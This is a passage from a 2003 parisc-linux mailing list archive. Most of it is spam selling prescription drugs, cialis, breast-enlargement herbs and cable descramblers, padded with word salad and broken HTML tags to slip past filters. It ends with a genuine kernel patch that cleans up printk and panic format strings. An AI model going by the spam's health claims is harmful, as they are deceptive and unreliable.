List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Dec 2003 09:46:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20505

----ALT--NDKB50287326490151
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

marginal barre emboss jacobian ye b's rae toady except 
australite celandine date bimetallic aesthetic willa anarchy iq affectation 
embalm buddy destroy ginsberg batt arianism scalp 

----ALT--NDKB50287326490151
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<HTML><HEAD>

</HEAD>
<BODY>

  <p>O</bulletin>ur U</classificatory>S Li</bewitch>censed Doc</prove>tors wi</busy>ll<BR>
Prescr</lana>ibes Y</cause>our Me</sanatoria>dication F</ferrer>or F</chao>ree
</FONT>
  <p>  Medicatio</babbitt>ns&nbsp; Shi</alex>pped Overni</commentary>ght To Y</actor>our Do</dentistry>.<BR>
<a href="http://www.goosadsjsfjb.biz /cf232/">sho</kerr>w
M</bathroom>e mo</creosote>re</a>
<p><img border="0" src="http://www.530000x.net/p3x.jpg"></p>
<br>
<br>
endow sept fifth formaldehyde biplane hitler kill goff formula cotoneaster trafficked suppressible chancy dutiable formulate issuant depend antiquity backwood swirl elegy frustrater hedonism disembowel regina afoot <BR>
salvage pharmaceutic steady sial lethargic cornelia counterattack carborundum embedder bum cockle rebecca aspartic springy consulate guidepost commiserate beaver accountant laminate opaque endothermic deceptive vat parsimonious salesmen sophie snappy electrician winfield pus emergent <BR>
curl archdiocese hewett aberdeen bassinet nondescript mainstream shin notocord sal certified <BR>
coneflower fork miniature annular attune baldpate gould employer chafe tailor omit lachesis hackneyed matrix cathedra aruba inertance click optimum figurine owe eaton byzantium electrophorus teleology sclerotic binary mechanic <BR>
champion deft grandiloquent powerful danbury casket knuckleball giddy tangerine divisor debugger dent turpentine dogleg <BR>
dialect memorabilia cent subtracter childbirth refute welsh radiochemical doodle chile awl deadhead alger babysitting <BR>
bout sulfanilamide brillouin huff sanctimonious dusenbury conscription pta checkpoint birdbath seq battlefield sunbonnet polymorph rydberg glasgow execrate alberta rhodes lice dribble frontiersmen antisemitism snark lockout visa bellicose azerbaijan <BR>
invalidate viaduct hornblende coleus digital cannonball conservator materiel usurer remington firemen flexure millie nagging schlesinger succession cause member echoes wreck campbell il clomp <BR>
despot colloquy galena visitor saxifrage harbin jakarta keyword european nair <BR>
free mila asuncion database mallory decreeing dispel hitachi oboe sovkhoz molest carla donnelly scription leggy staircase umbrella fescue alarm agate colloquium debtor greensboro drizzly ace regressive arbitrage insinuate bode angling bauhaus direct <BR>
schafer cattlemen vice nimh beverly artifice aster midday atrium chairlady silty calculate aileen dilogarithm cody docket mold anywhere aau barnard rampage sudanese marsh sirius explain leasehold teleology whippany midsection vicar codify crotch <BR>
</BODY>
</HTML>

----ALT--NDKB50287326490151--


From - Thu Nov 08 21:30:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sheehan Garth" <otwswpax@china.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: LJCWLUA, leeches hanging from
Date: Thu, 25 Dec 2003 23:24:27 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <LMYWITV-0006758961893@megaword>
Reply-To: Sheehan Garth <otwswpax@china.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--AWIA76764981712111
X-Trace: ger.gmane.org 1416623089 3828 80.91.229.3 (22 Nov 2014 02:24:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: otwswpax@china.com  Fri Dec 26 03:30:58 2003
Return-Path: <otwswpax@china.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [62.90.154.99])
	by dsl2.external.hp.com (Postfix) with SMTP id 3C29E48DF
	for <parisc-linux@parisc-linux.org>;
	Fri, 26 Dec 2003 03:30:56 -0700 (MST)
Original-Received: from [62.90.154.99] by 530000x.netIP with HTTP;
	Thu, 25 Dec 2003 17:25:27 -0500
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [530000x.netIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Dec 2003 10:30:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20506

----ALT--AWIA76764981712111
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

centenary calcify slanderous crowbait 
e'er collimate gibe bloodroot stormbound glorious aggregate baklava maggoty municipal 
frenchmen euphemism cordage daughter tail odium phenomenon hobo blutwurst 

----ALT--AWIA76764981712111
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit


<HTML><HEAD>
<BODY>
<p>Fr</dawn>ee Ca</contagious>ble& TV</p>
<a href="http://www.530000x.net/cable/">
<img border="0" src="http://www.530000x.net/fiter.jpg"></a>
motif committable bleeker stationery balfour doubleday all mullein opacity crosscut obey wouldn't norma raisin catnip judson etymology rash cunning chatham drainage <BR>
geography propagandist suicidal cady pious belgium extract cream backstop myopic blizzard purl jude wadsworth ganymede syllabify tint help rip <BR>

</BODY>
</HTML>


----ALT--AWIA76764981712111
--


From - Thu Nov 08 21:30:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Domingo Kidd" <wipvzrquzzoas@cnnic.net.cn>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: UDYPJIP, the bookkeeper went
Date: Thu, 25 Dec 2003 23:34:34 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <WQEEOTX-0008602476029@backside>
Reply-To: Kidd Domingo <wipvzrquzzoas@cnnic.net.cn>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--GGYP45782330778744"
X-Trace: ger.gmane.org 1416623089 3831 80.91.229.3 (22 Nov 2014 02:24:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: wipvzrquzzoas@cnnic.net.cn  Fri Dec 26 03:34:46 2003
Return-Path: <wipvzrquzzoas@cnnic.net.cn>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from srry01m09-145.bctel.ca (srry01m09-145.bctel.ca [209.53.87.145])
	by dsl2.external.hp.com (Postfix) with SMTP id 634B448E0
	for <parisc-linux@parisc-linux.org>;
	Fri, 26 Dec 2003 03:34:38 -0700 (MST)
Original-Received: from [209.53.87.145] by ehostzz.net/Lead3500IP with HTTP;
	Thu, 25 Dec 2003 18:27:34 -0400
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [ehostzz.net/Lead3500IP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Dec 2003 10:34:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20507

----ALT--GGYP45782330778744
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

dessicate circe atwater northrop inquisition potash deformation 
mackey bingham severe conjugate mineral caller 
anarchic ontology contradistinguish adulterate litigant heraclitus certainty 

----ALT--GGYP45782330778744
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<HTML><HEAD>
<BODY>
<p>Ban</cool>ned C</townhouse>D! Gov</bevy>ernment d</fettle>on't wan</pyre>t m</interviewee>e t</lottie>o s</numb>ell i</balinese>t. Se</despise>e N</chanson>ow @</p>
<a href="http://www.530000x.com/cd/">
<img border="0" src="http://www.530000x.com/cd/ads.jpg"></a>
vex craven osteopath car inappreciable monarch explicit scrapbook emitter shrivel tort month yalta cigarette diffeomorphism cohere ear infinitive whereupon game mcallister hinduism impoverish annals jennie efficacious simulcast compensate hugging treaty <BR>
preference brought granite stegosaurus upland eastward rubbery obfuscatory mizar falter libertarian edmund meander zambia plain runneth erich intercalate write <BR>

</BODY>
</HTML>


----ALT--GGYP45782330778744--


From - Thu Nov 08 21:30:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lincoln Benitez" <janelle@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] .Larger cup sizes ! Proven effective! rapvdhxfyjv
Date: Fri, 26 Dec 03 23:52:12 GMT
Lines: 35
Approved: news@gmane.org
Message-ID: <0r$y7m9$3n$st$o@pjub.5t>
Reply-To: Lincoln Benitez <janelle@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="E702.E68F5_.8"
X-Trace: ger.gmane.org 1416623089 3835 80.91.229.3 (22 Nov 2014 02:24:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: janelle@msn.com  Fri Dec 26 04:58:58 2003
Return-Path: <janelle@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73C6B487B
	for <parisc-linux@parisc-linux.org>;
	Fri, 26 Dec 2003 04:58:58 -0700 (MST)
Original-Received: from cpe-069-132-031-211.carolina.rr.com
	(cpe-069-132-031-211.carolina.rr.com [69.132.31.211])
	by cuprel1.hp.com (Postfix) with SMTP id 0F9C8E2D
	for <parisc-linux@parisc-linux.org>;
	Fri, 26 Dec 2003 03:58:48 -0800 (PST)
Original-Received: from [112.249.242.94] by cpe-069-132-031-211.carolina.rr.com SMTP id
	Ns5x405I51QCsW; Fri, 26 Dec 2003 23:52:12 -0200
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Dec 2003 11:58:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20508


--E702.E68F5_.8
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#FFFFFF" text=3D"#000099" link=3D"#0000FF" alink=3D"0000f=
f" vlink=3D"#0000FF">
<center>
<H3>BreastSuccess can be yours<br>Safely and Naturally!</H3>
Increase Breast Fullness.. 1 - 3 Cup Sizes<br>
    Improve Breast Firmness for a shaplier and sexier YOU!<br>
Be sexier with safe and natural herbs<br>Herbal nutrients responsible for =
thousands of positive results in Europe <br>Hundreds of thousands of women=
 are already enjoying ASTOUNDING results! <br> And you can too !</H3>
    <H4>100% Satisfaction Guaranteed!<br>
    Doctor Approved!</H4>We're so impressed with this product<br> that we =
gladly offer a 100% Money Back Guarantee <br>so there's nothing to lose!</=
H2></center><br><center><h2><a href=3D"http://www.fisha.biz/breast/?buster=
">This way to a new figure safely!</a></H2></center>
dwoord do mqaibw hm
gjf xkcm agb zb
</body>
</html>
jjbyxyd vzr

--E702.E68F5_.8--



From - Thu Nov 08 21:30:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jacob Hines" <j.hines_iw@ce.kth.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] great feeling
Date: Sat, 27 Dec 2003 01:31:12 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20031226162951.6C58E48B8@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0F17_0FF26151.F5C73BFF"
X-Trace: ger.gmane.org 1416623090 3838 80.91.229.3 (22 Nov 2014 02:24:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: j.hines_iw@ce.kth.se  Fri Dec 26 09:29:51 2003
Return-Path: <j.hines_iw@ce.kth.se>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atitec.com.hk (unknown [211.41.7.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C58E48B8
	for <parisc-linux@parisc-linux.org>;
	Fri, 26 Dec 2003 09:29:51 -0700 (MST)
Original-Received: from 245.12.132.160 by smtp.ce.kth.se;
	Sat, 27 Dec 2003 08:31:19 +0000
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Dec 2003 16:29:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20509

This is a multi-part message in MIME format.

------=_NextPart_000_0F17_0FF26151.F5C73BFF
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit




------=_NextPart_000_0F17_0FF26151.F5C73BFF
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

<HTML><BODY>
<P><FONT SIZE=2>Generic cialis (Regalis), at cheap prices.<BR>
Most places charge $20, we charge $5. Quite a difference.<BR><BR>
Cialis is known as a Super-Viagra or Weekend-Viagra because its effects start sooner and last much longer.</FONT>
</P>
<P><FONT SIZE=2>Shipped worldwide.<BR><BR>Your easy-to-use solution is here: <A
HREF="http://www.wwwbargins.biz/cia/?oxygen">http://www.wwwbargins.biz/cia/?oxygen</A></FONT>
</P>
<P><FONT SIZE=2>-----</FONT>
<BR><FONT SIZE=2>Link below is for that people who dislike
adv.....</FONT>
<BR><FONT SIZE=2><A
HREF="http://www.wwwbargins.biz/off.html">http://www.wwwbargins.biz/off.html</A></FONT><BR>-=BdyuzEUTTWVNxNDaWlFfFF8MwqYI=-
</P></BODY></HTML>


------=_NextPart_000_0F17_0FF26151.F5C73BFF--



From - Thu Nov 08 21:30:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] printk cleanup
Date: Sat, 27 Dec 2003 17:46:16 +0000
Lines: 276
Approved: news@gmane.org
Message-ID: <3FEDC568.30006@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------000306000706000404010004"
X-Trace: ger.gmane.org 1416623090 3841 80.91.229.3 (22 Nov 2014 02:24:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Sat Dec 27 10:45:17 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 808A24855
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Dec 2003 10:45:17 -0700 (MST)
Original-Received: from [62.235.121.23] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AaIV1-0000Gn-Ij; Sat, 27 Dec 2003 18:45:15 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Dec 2003 17:45:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20510

This is a multi-part message in MIME format.
--------------000306000706000404010004
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi all,

May I sugest following printk changes:
=========><=========
diff -Naur linux-2.6.0-pa5/arch/parisc/kernel/pci-dma.c linux-2.6.0-pa5.new/arch/parisc/kernel/pci-dma.c
--- linux-2.6.0-pa5/arch/parisc/kernel/pci-dma.c	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/arch/parisc/kernel/pci-dma.c	2003-12-27 17:51:39.000000000 +0100
@@ -261,11 +261,13 @@
  	} else if(pages_needed <= 32) {
  		PCXL_FIND_FREE_MAPPING(res_idx, mask, 32);
  	} else {
-		panic(__FILE__ ": pcxl_alloc_range() Too many pages to map.\n");
+		panic("%s: pcxl_alloc_range() Too many pages to map.\n",
+		      __FILE__);
  	}

  	dump_resmap();
-	panic(__FILE__ ": pcxl_alloc_range() out of dma mapping resources\n");
+	panic("%s: pcxl_alloc_range() out of dma mapping resources\n",
+	      __FILE__);
  	
  resource_found:
  	
@@ -319,7 +321,8 @@
  	} else if(pages_mapped <= 32) {
  		PCXL_FREE_MAPPINGS(res_idx, mask, 32);
  	} else {
-		panic(__FILE__ ": pcxl_free_range() Too many pages to unmap.\n");
+		panic("%s: pcxl_free_range() Too many pages to unmap.\n",
+		      __FILE__);
  	}
  	
  	pcxl_used_pages -= (pages_mapped ? pages_mapped : 1);
diff -Naur linux-2.6.0-pa5/arch/parisc/math-emu/decode_exc.c linux-2.6.0-pa5.new/arch/parisc/math-emu/decode_exc.c
--- linux-2.6.0-pa5/arch/parisc/math-emu/decode_exc.c	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/arch/parisc/math-emu/decode_exc.c	2003-12-27 16:47:42.000000000 +0100
@@ -347,7 +347,7 @@
  		return SIGNALCODE(SIGFPE, FPE_FLTRES);
  	  default:
  		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
-		printk(__FILE__ "(%d) Unknown FPU exception 0x%x\n",
+		printk("%s(%d) Unknown FPU exception 0x%x\n", __FILE__,
  			__LINE__, Excp_type(exception_index));
  		return SIGNALCODE(SIGILL, ILL_COPROC);
  	  case NOEXCEPTION:	/* no exception */
diff -Naur linux-2.6.0-pa5/drivers/parisc/ccio-dma.c linux-2.6.0-pa5.new/drivers/parisc/ccio-dma.c
--- linux-2.6.0-pa5/drivers/parisc/ccio-dma.c	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/drivers/parisc/ccio-dma.c	2003-12-27 16:55:57.000000000 +0100
@@ -364,11 +364,11 @@
  		CCIO_FIND_FREE_MAPPING(ioc, res_idx, mask, 64);
  #endif
  	} else {
-		panic(__FILE__ ": %s() Too many pages to map. pages_needed: %ld\n",
-		      __FUNCTION__, pages_needed);
+		panic("%s: %s() Too many pages to map. pages_needed: %ld\n",
+		       __FILE__,  __FUNCTION__, pages_needed);
  	}

-	panic(__FILE__ ": %s() I/O MMU is out of mapping resources.\n",
+	panic("%s: %s() I/O MMU is out of mapping resources.\n", __FILE__,
  	      __FUNCTION__);
  	
  resource_found:
@@ -441,7 +441,7 @@
  		CCIO_FREE_MAPPINGS(ioc, res_idx, mask, 64);
  #endif
  	} else {
-		panic(__FILE__ ":%s() Too many pages to unmap.\n",
+		panic("%s:%s() Too many pages to unmap.\n", __FILE__,
  		      __FUNCTION__);
  	}
  }
@@ -1447,7 +1447,8 @@
  	ioc->pdir_base = (u64 *)__get_free_pages(GFP_KERNEL,
  						 get_order(ioc->pdir_size));
  	if(NULL == ioc->pdir_base) {
-		panic(__FILE__ ":%s() could not allocate I/O Page Table\n", __FUNCTION__);
+		panic("%s:%s() could not allocate I/O Page Table\n", __FILE__,
+		      __FUNCTION__);
  	}
  	memset(ioc->pdir_base, 0, ioc->pdir_size);

@@ -1461,7 +1462,8 @@
  	ioc->res_map = (u8 *)__get_free_pages(GFP_KERNEL,
  					      get_order(ioc->res_size));
  	if(NULL == ioc->res_map) {
-		panic(__FILE__ ":%s() could not allocate resource map\n", __FUNCTION__);
+		panic("%s:%s() could not allocate resource map\n", __FILE__,
+		      __FUNCTION__);
  	}
  	memset(ioc->res_map, 0, ioc->res_size);

diff -Naur linux-2.6.0-pa5/drivers/parisc/sba_iommu.c linux-2.6.0-pa5.new/drivers/parisc/sba_iommu.c
--- linux-2.6.0-pa5/drivers/parisc/sba_iommu.c	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/drivers/parisc/sba_iommu.c	2003-12-27 16:57:40.000000000 +0100
@@ -579,7 +579,8 @@
  	if (pide >= (ioc->res_size << 3)) {
  		pide = sba_search_bitmap(ioc, pages_needed);
  		if (pide >= (ioc->res_size << 3))
-			panic(__FILE__ ": I/O MMU @ %lx is out of mapping resources\n", ioc->ioc_hpa);
+			panic("%s: I/O MMU @ %lx is out of mapping resources\n",
+			      __FILE__, ioc->ioc_hpa);
  	}

  #ifdef ASSERT_PDIR_SANITY
@@ -1781,7 +1782,8 @@

  		if (NULL == sba_dev->ioc[i].res_map)
  		{
-			panic(__FILE__ ":%s() could not allocate resource map\n", __FUNCTION__ );
+			panic("%s:%s() could not allocate resource map\n",
+			      __FILE__, __FUNCTION__ );
  		}

  		memset(sba_dev->ioc[i].res_map, 0, res_size);
diff -Naur linux-2.6.0-pa5/include/asm-parisc/pci.h linux-2.6.0-pa5.new/include/asm-parisc/pci.h
--- linux-2.6.0-pa5/include/asm-parisc/pci.h	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/include/asm-parisc/pci.h	2003-12-27 18:12:53.303140000 +0100
@@ -29,7 +29,8 @@
  #ifdef PCI_DEBUG
  #define ASSERT(expr) \
  	if(!(expr)) { \
-		printk( "\n" __FILE__ ":%d: Assertion " #expr " failed!\n",__LINE__); \
+		printk("\n%s:%d: Assertion " #expr " failed!\n", __FILE__,
+		       __LINE__); \
  		panic(#expr); \
  	}
  #else
=========><=========

hth,
	Joel

PS: I also notice some printk("\n" KERNEL_... "...");
would it not be better to change in printk(KERNEL_... "\n...");

--------------000306000706000404010004
Content-Type: text/plain;
 name="PrintK.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="PrintK.diff"

diff -Naur linux-2.6.0-pa5/arch/parisc/kernel/pci-dma.c linux-2.6.0-pa5.new/arch/parisc/kernel/pci-dma.c
--- linux-2.6.0-pa5/arch/parisc/kernel/pci-dma.c	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/arch/parisc/kernel/pci-dma.c	2003-12-27 17:51:39.000000000 +0100
@@ -261,11 +261,13 @@
 	} else if(pages_needed <= 32) {
 		PCXL_FIND_FREE_MAPPING(res_idx, mask, 32);
 	} else {
-		panic(__FILE__ ": pcxl_alloc_range() Too many pages to map.\n");
+		panic("%s: pcxl_alloc_range() Too many pages to map.\n",
+		      __FILE__);
 	}
 
 	dump_resmap();
-	panic(__FILE__ ": pcxl_alloc_range() out of dma mapping resources\n");
+	panic("%s: pcxl_alloc_range() out of dma mapping resources\n",
+	      __FILE__);
 	
 resource_found:
 	
@@ -319,7 +321,8 @@
 	} else if(pages_mapped <= 32) {
 		PCXL_FREE_MAPPINGS(res_idx, mask, 32);
 	} else {
-		panic(__FILE__ ": pcxl_free_range() Too many pages to unmap.\n");
+		panic("%s: pcxl_free_range() Too many pages to unmap.\n",
+		      __FILE__);
 	}
 	
 	pcxl_used_pages -= (pages_mapped ? pages_mapped : 1);
diff -Naur linux-2.6.0-pa5/arch/parisc/math-emu/decode_exc.c linux-2.6.0-pa5.new/arch/parisc/math-emu/decode_exc.c
--- linux-2.6.0-pa5/arch/parisc/math-emu/decode_exc.c	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/arch/parisc/math-emu/decode_exc.c	2003-12-27 16:47:42.000000000 +0100
@@ -347,7 +347,7 @@
 		return SIGNALCODE(SIGFPE, FPE_FLTRES);
 	  default:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
-		printk(__FILE__ "(%d) Unknown FPU exception 0x%x\n",
+		printk("%s(%d) Unknown FPU exception 0x%x\n", __FILE__,
 			__LINE__, Excp_type(exception_index));
 		return SIGNALCODE(SIGILL, ILL_COPROC);
 	  case NOEXCEPTION:	/* no exception */
diff -Naur linux-2.6.0-pa5/drivers/parisc/ccio-dma.c linux-2.6.0-pa5.new/drivers/parisc/ccio-dma.c
--- linux-2.6.0-pa5/drivers/parisc/ccio-dma.c	2003-12-27 16:36:55.000000000 +0100
+++ linux-2.6.0-pa5.new/drivers/parisc/ccio-dma.c	2003-12-27 16:55:57.000000000 +0100
@@ -364,11 +364,11 @@
 		CCIO_FIND_FREE_MAPPING(ioc, res_idx, mask, 64);
 #endif
 	} else {
-		panic(__FILE__ ": %s() Too many pages to map. pages_needed: %ld\n", 
-		      __FUNCTION__, pages_needed);
+		panic("%s: %s() Too many pages to map. pages_needed: %ld\n",
+		       __FILE__,  __FUNCTION__, pages_needed);
 	}
 
-	panic(__FILE__ ": %s() I/O MMU is out of mapping resources.\n", 
+	panic("%s: %s() I/O MMU is out of mapping resources.\n", __FILE__,
 	      __FUNCTION__);
 	
 resource_found:
@@ -441,7 +441,7 @@
 		CCIO_FREE_MAPPINGS(ioc, res_idx, mask, 64);
 #endif
 	} else {
-		panic(__FILE__ ":%s() Too many pages to unmap.\n", 
+		panic("%s:%s() Too many pages to unmap.\n", __FILE__,
 		      __FUNCTION__);
 	}
 }
@@ -1447,7 +1447,8 @@
 	ioc->pdir_base = (u64 *)__get_free_pages(GFP_KERNEL, 
 						 get_order(ioc->pdir_size));
 	if(NULL == ioc->pdir_base) {
-		panic(__FILE__ ":%s() could not allocate I/O Page Table\n", __FUNCTION__);
+		panic("%s:%s() could not allocate I/O Page Table\n", __FILE__,
+		      __FUNCTION__);
 	}
 	memset(ioc->pdir_base, 0, ioc->pdir_size);
 
@@ -1461,7 +1462,8 @@
 	ioc->res_map = (u8 *)__get_free_pages(GFP_KERNEL, 
 					      get_order(ioc->res_size));
 	if(NULL == ioc->res_map) {
-		panic(__FILE__ ":%s() could not allocate resource map\n", __FUNCTION__);
+		panic("%s:%s() could not allocate resource map\n", __FILE__,
+		      __FUNCTION__);
 	}
 	memset(ioc->res_map, 0, ioc->res_size);
 
